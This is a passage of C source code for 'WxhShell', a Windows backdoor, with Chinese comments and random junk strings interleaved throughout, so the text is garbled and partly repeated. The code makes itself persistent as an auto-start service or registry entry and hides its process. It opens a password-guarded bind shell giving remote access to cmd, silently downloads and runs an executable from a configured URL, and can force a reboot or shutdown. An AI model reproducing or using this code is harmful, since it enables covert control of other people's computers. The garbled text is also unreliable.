]=\N: } yYIf5S`V] L3u&/Tn2 // 自身启动模式 LEbB(x;@ int StartFromService(void) BOb">6C { JgKO|VO typedef struct axv>6k { ENl)Ts`y DWORD ExitStatus; p*R;hU DWORD PebBaseAddress; uB]7G0g: DWORD AffinityMask; $<dH?%!7 DWORD BasePriority; ;v)JnbsH} ULONG UniqueProcessId; 0U(@=7V ULONG InheritedFromUniqueProcessId; {3>$[bT } PROCESS_BASIC_INFORMATION; fnjPSts0 F 5bj=mI PROCNTQSIP NtQueryInformationProcess; <Dl*l{zba VuhGx:Xl static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *KZYv=s,u static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M)J5;^[" ]^. _z HANDLE hProcess; RVnjNy;O` PROCESS_BASIC_INFORMATION pbi; iW]j9} t v}}F,c(f HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7Utn\l if(NULL == hInst ) return 0; b$d;Qx '%s.^kn g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
acajHs g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [i21FX NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `quw9j9`C\ L:KF_W.I+ if (!NtQueryInformationProcess) return 0; *)$Uvw E >a!/QMh hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CTB~Yj@d+ if(!hProcess) return 0; >Eyt17_H"n ^b4 9 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )Ys x}vS Z vjbASFF0= CloseHandle(hProcess); f
O}pj: guq{#?} hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mDA:nx%5< if(hProcess==NULL) return 0; /kZebNf6H }Sm(]y HMODULE hMod; KB3Htw%W[+ char procName[255]; ?hZAxR\ unsigned long cbNeeded; pz!Zs."f) R$h<<v)% if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7X`g,b! 0#7>o^2 CloseHandle(hProcess); n*R])=F@c g+8OekzB5 if(strstr(procName,"services")) return 1; // 以服务启动 /QK6Rac- uanhr)Ys return 0; // 注册表启动 8l>?Pv } i^/T bQzZy5, // 主模块 1jmjg~W int StartWxhshell(LPSTR lpCmdLine) )nC]5MXU { lZd(emH@ SOCKET wsl; 7cuE7" BOOL val=TRUE; WA<v9#m int port=0; \#8D>i?m struct sockaddr_in door; AVsDt2A JinUV6cr if(wscfg.ws_autoins) Install(); s$zLiQF; fF!Yp iI" port=atoi(lpCmdLine); E+j/Cu ^rB8? kt if(port<=0) port=wscfg.ws_port; k%]3vRo< YU'k#\gi* WSADATA data; aG-vtld if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $f$SNx)), |QF7
uV if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; n QF(vTDN setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %e8@*~h@ door.sin_family = AF_INET; BwN0!lsF3 door.sin_addr.s_addr = inet_addr("127.0.0.1"); pE3?"YO door.sin_port = htons(port); vSGH[nyCY =eq[:K<6 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :p1u(hflS closesocket(wsl); 7zl5yKN return 1; ]
7[
3>IN } v8w q,CYV s-NX o if(listen(wsl,2) == INVALID_SOCKET) { mtpeRVcF closesocket(wsl); CYf$nYR return 1; Zcey|m*| } 9sM!`Lz{ Wxhshell(wsl); (=FRmdeYl1 WSACleanup(); .o6Or:L I:-Wy"i return 0; 4V"E8rUL( 3#n_?- } O"+gQXe A\*>TN>s // 以NT服务方式启动 Ky`qskvu VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =?5]()'*n { b.OsiT;_j DWORD status = 0; h<h%*av|
DWORD specificError = 0xfffffff; (Nq=H)cm8 p
.%]Q*8 serviceStatus.dwServiceType = SERVICE_WIN32; #]-SJWf3 serviceStatus.dwCurrentState = SERVICE_START_PENDING; lPe&h]@ > serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JB\UKZXw serviceStatus.dwWin32ExitCode = 0; p0]=QH serviceStatus.dwServiceSpecificExitCode = 0; mwO6g~@` serviceStatus.dwCheckPoint = 0; ^23~ZHu serviceStatus.dwWaitHint = 0; 1wii8B6 2zX]\s?3 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B4ZBq%Z_ if (hServiceStatusHandle==0) return; ynp 8rf YByLoM* status = GetLastError(); a6ekG YW if (status!=NO_ERROR) }czrj%6 { l&[O serviceStatus.dwCurrentState = SERVICE_STOPPED; ),_@WW;k serviceStatus.dwCheckPoint = 0; q#~ (/ serviceStatus.dwWaitHint = 0; xnjf serviceStatus.dwWin32ExitCode = status; ]|#+zx|/D serviceStatus.dwServiceSpecificExitCode = specificError; "BAK !N$9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); g9OY<w5s] return; BqEI(c6 } r[e##M (xycJ`N serviceStatus.dwCurrentState = SERVICE_RUNNING; ?C]vS_jAh serviceStatus.dwCheckPoint = 0; 6dHOf,zjm serviceStatus.dwWaitHint = 0; z,RhYm if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k``_EiV4t } pt?bWyKG R-
X5K- // 处理NT服务事件,比如:启动、停止 ]43/`FX VOID WINAPI NTServiceHandler(DWORD fdwControl) L]7=?vN=8 { />C^WQI^ switch(fdwControl) +8T?{K { "%)qRe case SERVICE_CONTROL_STOP: \Zk;ikEY serviceStatus.dwWin32ExitCode = 0; cUk7i`M;6 serviceStatus.dwCurrentState = SERVICE_STOPPED; `Uq#W+r, serviceStatus.dwCheckPoint = 0; vN}#Kc\ serviceStatus.dwWaitHint = 0; O}gV`q; { ~ZaY!(R< SetServiceStatus(hServiceStatusHandle, &serviceStatus); eNh39er } ^+ml5m return; t6rRU~;} case SERVICE_CONTROL_PAUSE: cs48*+m serviceStatus.dwCurrentState = SERVICE_PAUSED; _r#Z}HK break; qyb?49I case SERVICE_CONTROL_CONTINUE: H;mSkRD3N serviceStatus.dwCurrentState = SERVICE_RUNNING; %64)(z break; `K"L /I9 case SERVICE_CONTROL_INTERROGATE: v4<nI;Ux break; \Dm";Ay> }; D'>_I. SetServiceStatus(hServiceStatusHandle, &serviceStatus); kb%;=t2 } A.F%Ycq
IuDS*/Sx // 标准应用程序主函数 ?Rb9|`6 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ';k5?^T { W<{h,j8 alJ)^OSIe // 获取操作系统版本 2F;y;l% OsIsNt=GetOsVer(); E#34Wh2z GetModuleFileName(NULL,ExeFile,MAX_PATH); s3N'02G MBK^FR-K // 从命令行安装 [>3./YH` if(strpbrk(lpCmdLine,"iI")) Install(); #!B4 u?"m \0gis# // 下载执行文件 B^=-Z8 if(wscfg.ws_downexe) { pp?D7S if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m[osg< CR_ WinExec(wscfg.ws_filenam,SW_HIDE); TvoyZW\?w } >-?f0K =>S]q71 if(!OsIsNt) { 5PCqYN(:B // 如果时win9x,隐藏进程并且设置为注册表启动 `?H]h"{7Q HideProc(); -]Bq|qTH[( StartWxhshell(lpCmdLine); > tS'Q`R } *][`@@-> else E)&I@m if(StartFromService()) iO{hA // 以服务方式启动 'ycJMYP8 StartServiceCtrlDispatcher(DispatchTable); Ep_HcX` else OG~gFZr)6 // 普通方式启动 u2I*-K StartWxhshell(lpCmdLine); r+!YIk \<h0Q,e return 0; -/B+T>[nTb } Z3e| UAif uh_RGM& *tFHM &a "s-"<&>a( =========================================== a~`eQ_ND k8yEdi` Eh`7X=Z7E Ufj`euY ,^r9n[M4M )iX~}7 " o#)C^xlQ 'c&Ed #include <stdio.h> T.F!+ #include <string.h> hW')Sp #include <windows.h> P;y45b #include <winsock2.h> RU{twL.B #include <winsvc.h> ? V1*cVD6i #include <urlmon.h> yu {d! {6 t,Lrfv]) #pragma comment (lib, "Ws2_32.lib") >{]%F*p4 #pragma comment (lib, "urlmon.lib") G5_=H,Vmd g'f@H-KCD #define MAX_USER 100 // 最大客户端连接数 tIi&;tw] #define BUF_SOCK 200 // sock buffer BR_1MG'{)$ #define KEY_BUFF 255 // 输入 buffer Z#jZRNU%ox pQ" >UL* #define REBOOT 0 // 重启 iU918!!N #define SHUTDOWN 1 // 关机 LP^$AAy z
kP_6T09 #define DEF_PORT 5000 // 监听端口 f5"k55 } YMyfL8bO #define REG_LEN 16 // 注册表键长度 ~NgA #define SVC_LEN 80 // NT服务名长度 b6M[q_ tFn)aa~L // 从dll定义API n8 0?N}
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JG.y,<xW typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %Xg4b6<9 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R{4^t97wH{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #Pau\|e_ uc{Ihw // wxhshell配置信息 g/_5unI}u struct WSCFG { ~At7 +F[ int ws_port; // 监听端口 XW H5d-
char ws_passstr[REG_LEN]; // 口令 QZwNw;$k* int ws_autoins; // 安装标记, 1=yes 0=no hag$GX'2k char ws_regname[REG_LEN]; // 注册表键名 c]-<vkpV char ws_svcname[REG_LEN]; // 服务名 Ny7 S char ws_svcdisp[SVC_LEN]; // 服务显示名 y7 cl_ rK char ws_svcdesc[SVC_LEN]; // 服务描述信息 /<k/7TF` char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2nObl'ec int ws_downexe; // 下载执行标记, 1=yes 0=no =J==i? char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !,uE]gwLw char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e]aDP1n3t wm@@$ }; <}Vrl`?h 7+cO_3AB // default Wxhshell configuration C&f=
ywi0 struct WSCFG wscfg={DEF_PORT, l30EKoul) "xuhuanlingzhe", Wi<m{.%\E 1, @{e}4s?7od "Wxhshell", >uB?rGcM "Wxhshell", ~/U1xk% "WxhShell Service", [aLI
' "Wrsky Windows CmdShell Service", ,ng Cv;s "Please Input Your Password: ", t+
TdLDJR 1, I{&[[7H "http://www.wrsky.com/wxhshell.exe", 59L\|OR "Wxhshell.exe" v~C
Czg }; :4w ?# A@('pA85 // 消息定义模块 3&4(ZH= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }6~hEc*/" char *msg_ws_prompt="\n\r? for help\n\r#>"; M0"_^? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Qljpx?E char *msg_ws_ext="\n\rExit."; V &T~zh1 char *msg_ws_end="\n\rQuit."; MJ)RvNF char *msg_ws_boot="\n\rReboot..."; w.o@7|B1N char *msg_ws_poff="\n\rShutdown..."; W
i.&e char *msg_ws_down="\n\rSave to "; VGN5<?PrN !|uWH char *msg_ws_err="\n\rErr!"; e>OoyDZ@R char *msg_ws_ok="\n\rOK!"; UDFDJm$ R w\gTo char ExeFile[MAX_PATH]; (,2SXV int nUser = 0; h"W,WxL8 HANDLE handles[MAX_USER]; A{zN| S[ int OsIsNt; (mB&m@-N |-ALklXr SERVICE_STATUS serviceStatus; Rv>-4@fMJ SERVICE_STATUS_HANDLE hServiceStatusHandle; t}4,]ms Yh7t"=o // 函数声明 ,qwuLBW int Install(void); ue"~9JK. int Uninstall(void); ATyEf5Id_ int DownloadFile(char *sURL, SOCKET wsh); d-ko
^Y0 int Boot(int flag); j;r-NCBnz void HideProc(void); 7A7?GDW int GetOsVer(void); **CR}
yV int Wxhshell(SOCKET wsl); >'$Mp < void TalkWithClient(void *cs); Y@iS_lR int CmdShell(SOCKET sock); &-w
Cvp7 int StartFromService(void); |e&\<LwsP int StartWxhshell(LPSTR lpCmdLine); 3}1u\(Mf y^*~B(T{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %;'s4ly VOID WINAPI NTServiceHandler( DWORD fdwControl ); .{^5X)
9*wK@yEl // 数据结构和表定义 f~[7t:WD* SERVICE_TABLE_ENTRY DispatchTable[] = t@;p { wlvgg {wscfg.ws_svcname, NTServiceMain}, B[Scr5| {NULL, NULL} P+sW[: }; 3?yg\ (CL%>5V // 自我安装 i]4I [! int Install(void) n@i HFBb { WwFm*4{[o char svExeFile[MAX_PATH]; q2j{tP# HKEY key; >=>2m2z= strcpy(svExeFile,ExeFile); v?$:@9pAk :cECRm* // 如果是win9x系统,修改注册表设为自启动 o|:b;\)b if(!OsIsNt) { pv&sO~!iC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eByz-,{P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e*C(q~PQ RegCloseKey(key); _VN?#J)o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B 3I`40# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HC8e>kP9b RegCloseKey(key); c?-H>u return 0; t{kG<J/l } Llo"MO*sr } /6*42[r } +'a^f5 else { !pW0qX\1n d0ksG$ // 如果是NT以上系统,安装为系统服务 /~?*=}c^m SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GxxW&y if (schSCManager!=0) ~mxO7cy5Cg { 7}>E J SC_HANDLE schService = CreateService ki!0^t:9 ( "^-a M schSCManager, WT=;: j wscfg.ws_svcname, ~!L}yw wscfg.ws_svcdisp, 4VSU8tK|N] SERVICE_ALL_ACCESS, Sm|6 %3 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AkV#J,
3LC SERVICE_AUTO_START, eMsd37J SERVICE_ERROR_NORMAL, CTa57R svExeFile, q} >%8;nm NULL, O>,e~#! NULL, +\9NDfYIA NULL, da(<K} NULL, PZ9I`P!C NULL tsjrRMR ); cwg"c4V if (schService!=0) z:*|a+cy { Z9|P'R(l CloseServiceHandle(schService); _D tV CloseServiceHandle(schSCManager); /4Gt{ygSr strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5j(k:a+!H strcat(svExeFile,wscfg.ws_svcname); ~>|ziHx if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8 Z~EwY* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %h@EP[\ RegCloseKey(key); &8lZNv8;(p return 0; e"<OELA } VPo".BvG6 } Nf\LN$ &8 CloseServiceHandle(schSCManager); o+'6`g'8 } 0l6.<-f{ } bH~dJFj/ &u
!,Hp return 1; 02^ rV*re } !Vk^TFt` KWHY4 // 自我卸载 7[)E>XRE int Uninstall(void) 4WB0Pt{ { fJg+ Ryo HKEY key; xJe%f\UDu PW0LG^xp` if(!OsIsNt) { oEv'dQ9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dd|VMW= RegDeleteValue(key,wscfg.ws_regname); 2^7`mES RegCloseKey(key); h376Be{P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <hyKu
RegDeleteValue(key,wscfg.ws_regname); /{I$ #:M RegCloseKey(key); a7opCmL return 0; {l@{FUv } ^cWnF0)j. } oB7_O-3z } _[BP0\dPW else { hZb_P\1X E1
2uZ$X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :2`e(+Uz if (schSCManager!=0) ,P0) 6> { 8s@3hXD& SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K&-"d/QuLg if (schService!=0) !N^@4* { {.Jlbi9! if(DeleteService(schService)!=0) { gSj,E8-g CloseServiceHandle(schService); R;LP:,) CloseServiceHandle(schSCManager); OyIw>Wfv return 0; "AqB$^S9t } tH4B:Bgj! CloseServiceHandle(schService); #'`{Qv0,
} c:('W16 CloseServiceHandle(schSCManager); n$R)>nY } [-w%/D%@ } y~V(aih}D .xkM.g4{~ return 1; u3D)M%e } dE3) |% |-H&o] // 从指定url下载文件 Id9TG/H7 int DownloadFile(char *sURL, SOCKET wsh) er\|i. Y { L~3Pm%{@A HRESULT hr; lB4WKn=?Kl char seps[]= "/"; 6S#Cl>v char *token; 4qa.1j(R/ char *file; U<XG{<2 char myURL[MAX_PATH]; "dlVk~ char myFILE[MAX_PATH]; /-s6<e! |s_GlJV. strcpy(myURL,sURL); DmcZta8n] token=strtok(myURL,seps); 1Y,Z
%d while(token!=NULL) kx^/*~ex { K=&>t6s< file=token; *qq+jsA6wH token=strtok(NULL,seps); XWw804ir } {;oPLr+Z J}t%p(mb GetCurrentDirectory(MAX_PATH,myFILE); :(%5:1W strcat(myFILE, "\\"); lTsjxw
o strcat(myFILE, file); "@ n%Z send(wsh,myFILE,strlen(myFILE),0); dh\P4 send(wsh,"...",3,0); =(^3}x
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mE[y SrV if(hr==S_OK) V]^$S"Tv return 0; 2an f$^[ else h+,@G,|D return 1; gqR(.Pu Wp,R^d } pR_9NfV{ \2z>?i) // 系统电源模块 5zJq9\)d+ int Boot(int flag) KPki}'GO { CC`JZ.SO HANDLE hToken; 7EJ+c${e.- TOKEN_PRIVILEGES tkp; Qb%J8juRf I^]nqK if(OsIsNt) { Vvo7C!$z OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6u%&<")4HP LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4M T 7 `sr tkp.PrivilegeCount = 1; |j|rS5 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Gw` L" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VEH>]-0K if(flag==REBOOT) { gGuO if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 05R@7[GWq return 0; HOi`$vX}N } - YBY[%jF> else { E-FUlOG& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A@'OJRc return 0; $~kA
B8z } W*G<X.Hf } {`_i` else { +T+#q@ if(flag==REBOOT) { \. S/| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $;PMkUE return 0; {RPI]DcO/ } V[V[~;Py else { {..6>fS if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ul# r return 0; N>E_%]C h } n+p }\msH } &&%H%9 9M ]_nP Y return 1; {{1G`;|v9 } =MWHJ'3-/ }B^tL$k // win9x进程隐藏模块
b2*TgnRq void HideProc(void) E`J@hl$N { QWU-m{@~& O&&~NXI\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3U}%2ARo_ if ( hKernel != NULL ) HKe K<V { BLFdHB.$T pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =|9!vzG4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3$/IC@+ FreeLibrary(hKernel); ';"VDLb3 } MOC/KNb YZ7.1`8 return; z!\*Y
=e } r|Z{-*` w(F%^o\ // 获取操作系统版本 0}9h]X' int GetOsVer(void) sq]F;=[5 { <Z$J<]I OSVERSIONINFO winfo; 9u_Pj2%56. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8EY:tzw GetVersionEx(&winfo); ^sZ,2,^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vD4*&|8T# return 1; 5R7DDJk else (5~h"s return 0; 1x^GWtRp } !m$jk2< ,,TnIouy // 客户端句柄模块 qP;OaM
CX int Wxhshell(SOCKET wsl) W3RT{\ { ]'S^] SOCKET wsh; 6B-16 struct sockaddr_in client; t,'<gI DWORD myID; h];I{crh =M-p/uB] while(nUser<MAX_USER) wY}@'pzX { s^SJY{ int nSize=sizeof(client); ]^]wP]R_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kVL.PY\K if(wsh==INVALID_SOCKET) return 1; }WV:erg` pk~WrqK} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M=Wz if(handles[nUser]==0) )e{}V\;q closesocket(wsh); QW"! (`K else Pz^544\~ou nUser++; 4P0}+ } @ P|y{e6 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x"gVq
~ EV?z`jE9 return 0; W!<U85-#S } j.YA2mr 0$njMnB2l // 关闭 socket gZ5 |UR< void CloseIt(SOCKET wsh) F}zDfY\- { 9FX-1,Jx closesocket(wsh); ~s{$WL& nUser--; svSVG:48 ExitThread(0); E'8;10s } /O9EQ Pm( KmF]\:sMD // 客户端请求句柄 E.f%H(b void TalkWithClient(void *cs) r=4eP(w= { @WB@]-+J
T nP$9CA SOCKET wsh=(SOCKET)cs; ElXFeJ%[G char pwd[SVC_LEN]; c%&>p|| char cmd[KEY_BUFF]; IK]d3owA char chr[1]; y}H!c; int i,j; \Cj B1]I 7d vnupLh while (nUser < MAX_USER) { Uz7<PLxd )X!,3Ca{43 if(wscfg.ws_passstr) { O@P"MXEG if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t^L]/$q //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5X+A"X
;C //ZeroMemory(pwd,KEY_BUFF); g+lCMW\ i=0; Z{R> while(i<SVC_LEN) { 2?x4vI
np; BuwY3F\-O // 设置超时 Xeajxcop# fd_set FdRead; U~8g_* struct timeval TimeOut; `2snz1>!j FD_ZERO(&FdRead); u&NV,6Fj2[ FD_SET(wsh,&FdRead); *](iS TimeOut.tv_sec=8; }M+7T\J! TimeOut.tv_usec=0; M?qy(zb int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $u.z*b_yy if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D]}G.v1 Yz b XuJ4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "]dI1 g_ pwd=chr[0]; AR=]=8 if(chr[0]==0xd || chr[0]==0xa) { kP"9&R`E pwd=0; ceV}WN19l break; VE24ToI?W" } 5m*,8 ]!- i++; c|%6e(g"L } ^s=8!=A( L$-T,Kze // 如果是非法用户,关闭 socket 9gFUaDLo if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $?Wb}DU7_L } ys~x$ 6 r"<jh # send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HDLk>_N_s, send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rKn~qVls &vJH$R while(1) { :>*7=q= r,udO,Yi=c ZeroMemory(cmd,KEY_BUFF); J *yg& Ib`XT0k // 自动支持客户端 telnet标准 /\Ef%@ j=0; 9UkBwS` while(j<KEY_BUFF) { }}[2SH'nH if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~V-XEQA cmd[j]=chr[0]; :0ep(<|; if(chr[0]==0xa || chr[0]==0xd) { +H.`MZ= cmd[j]=0; ]A"h&`Cvt break; z}@7'_iJ } G#CXs:1pd+ j++; liZxBs
:%i } q@&6#B #?E"x/$Y6 // 下载文件 9FvFhY if(strstr(cmd,"http://")) { g*Phv|kI send(wsh,msg_ws_down,strlen(msg_ws_down),0); '7/)Ot( if(DownloadFile(cmd,wsh)) B6"0OIDY" send(wsh,msg_ws_err,strlen(msg_ws_err),0); _+,TT['57s else `gJ(0#ac send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gq6*SaTk } <[phnU^
8 else { rUl+ g\U-VZ6;p switch(cmd[0]) { -12U4h<e G6/m# // 帮助 >0gW4!7Y case '?': { pJ=#zsE0 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;*N5Y}?j' break; ),)lzN%! } !W\+#ez // 安装 7
&\yj9 case 'i': { Bwrx *J if(Install()) ~dSr5LUD send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZG:{[sT else .6> w'F{> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l.]xB,k break; h 0|s } L-Lvp%% // 卸载 >usL*b0% case 'r': { =v\.h=~~ if(Uninstall()) ':q p05t send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,I9bNO,%JK else BWNi [^] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lFkR=!?= break; 7,MR*TO, } G5!^*jf // 显示 wxhshell 所在路径 \^LFkp case 'p': { <$YlH@;)`a char svExeFile[MAX_PATH]; Lr+$_ t}r strcpy(svExeFile,"\n\r"); u?"Vm strcat(svExeFile,ExeFile); >ef6{URy< send(wsh,svExeFile,strlen(svExeFile),0); 6LZCgdS{ break; H+#FSdy# } *v`eUQ: // 重启 &[9709 (= case 'b': { }b}m3i1 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jCY%| if(Boot(REBOOT)) :]"V-1#} send(wsh,msg_ws_err,strlen(msg_ws_err),0); {I((p_ else { _GPe<H closesocket(wsh); <%^&2UMg ExitThread(0); FwK]$4* } xLE)/}y_7H break; ,+VGSd } 7^Uv7<pw // 关机 SJLis"8 case 'd': { >!JS:5| send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3%6?g* if(Boot(SHUTDOWN)) 2eogY# send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Pp'Ye~K@c else { k+/6$pI closesocket(wsh); K}y
f>'O ExitThread(0); xo)P?- } [UR-I0 s!/ break; 6Zo}(^Ovz } /1 dT+> // 获取shell pCDmXB case 's': { W)/#0*7 CmdShell(wsh); 5G#n"}T closesocket(wsh); }vuARZ> ExitThread(0); K"6vXv4QO break; iscz}E,Y } #Z #-Ht // 退出 sA~]$A;DM! case 'x': { mq l
Z?- send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ef\-VKh CloseIt(wsh); hPh-+Hb break; s~>}a } r%_djUd // 离开 S/ *E,))m case 'q': { =I<R! ZSN send(wsh,msg_ws_end,strlen(msg_ws_end),0); aXVFc5C\ closesocket(wsh); Qrv<lE1V; WSACleanup(); wkq 66? exit(1); .}t
e>]A* break; ks tIgcI
} GdwVtqbX } e.C)jv6qr } x2EUr,7 F
[M,]? // 提示信息 }k0_5S if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); siaG'%@*r } Gt1U!dP } PCvWS.{ !if return; <%d>v-=B } /z!%d%" }C:r9?T // shell模块句柄 \zY!qpX< int CmdShell(SOCKET sock) O^.#d { ~&T~1xsFJ STARTUPINFO si; 8}[).d160 ZeroMemory(&si,sizeof(si));
XX@ZQcN si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dG{A~Z z si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .>S!ji PROCESS_INFORMATION ProcessInfo; Ba,`TJ%y char cmdline[]="cmd"; \RiP
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _-D{-Bu# return 0; uZ5p#M_ } +0&/g&a\R eDMO]5}Ht // 自身启动模式 ]lbuy7xj63 int StartFromService(void) }6# { -"`=1l typedef struct Uly ue { =&]L00u. DWORD ExitStatus; ^ c<Ve'- DWORD PebBaseAddress; j^'go&p DWORD AffinityMask; 8Wx=p#_ DWORD BasePriority; %;_MGae ULONG UniqueProcessId; UpG~[u)%@ ULONG InheritedFromUniqueProcessId; :]KAkhFkbb } PROCESS_BASIC_INFORMATION; L#J1b!D&<6 fl(wV.Je| PROCNTQSIP NtQueryInformationProcess; \Z/@C lCm s#11FfF` static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o4X{L`m static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Wc#24:OKe3 +2{Lh7Ks HANDLE hProcess; 6t$8M[0-U PROCESS_BASIC_INFORMATION pbi; khe}*y u[YGm:} HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L_T5nD^D if(NULL == hInst ) return 0;
